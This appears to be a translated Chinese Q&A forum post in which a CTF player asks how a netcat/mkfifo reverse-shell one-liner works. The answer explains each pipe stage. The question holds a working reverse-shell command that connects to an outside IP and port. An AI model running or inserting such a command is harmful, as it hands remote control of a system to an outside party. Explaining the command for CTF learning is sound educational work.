这段代码实际上在做什么?

这段代码实际上在做什么?

在平台上进行 CTF 挑战时,我需要一个反向 shell,但无法正常工作,因此我查看了流程并找到了一个反向 shell 代码:

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m

这实际上有效,但我实际上无法理解管道是如何工作的,它将数据发送到哪里等等。有人可以解释一下吗?

答案1

这会在系统上设置一个远程控制的 shell。输入和输出如下:

  • cat /tmp/m从 FIFO 读取/tmp/m并将其写入...
  • |/bin/sh -i 2>&1它执行它读取的命令并将其输出(标准输出和标准错误)发送到...
  • |nc 10.5.5.5 6101它连接到 10.5.5.5:6101 并写入
  • >/tmp/m先进先出。

因此,远程系统可以提供命令,这些命令通过 传输nc、写入 FIFO、由 读取cat、由 解释sh,并且这些命令的输出通过 发送回远程系统nc

相关内容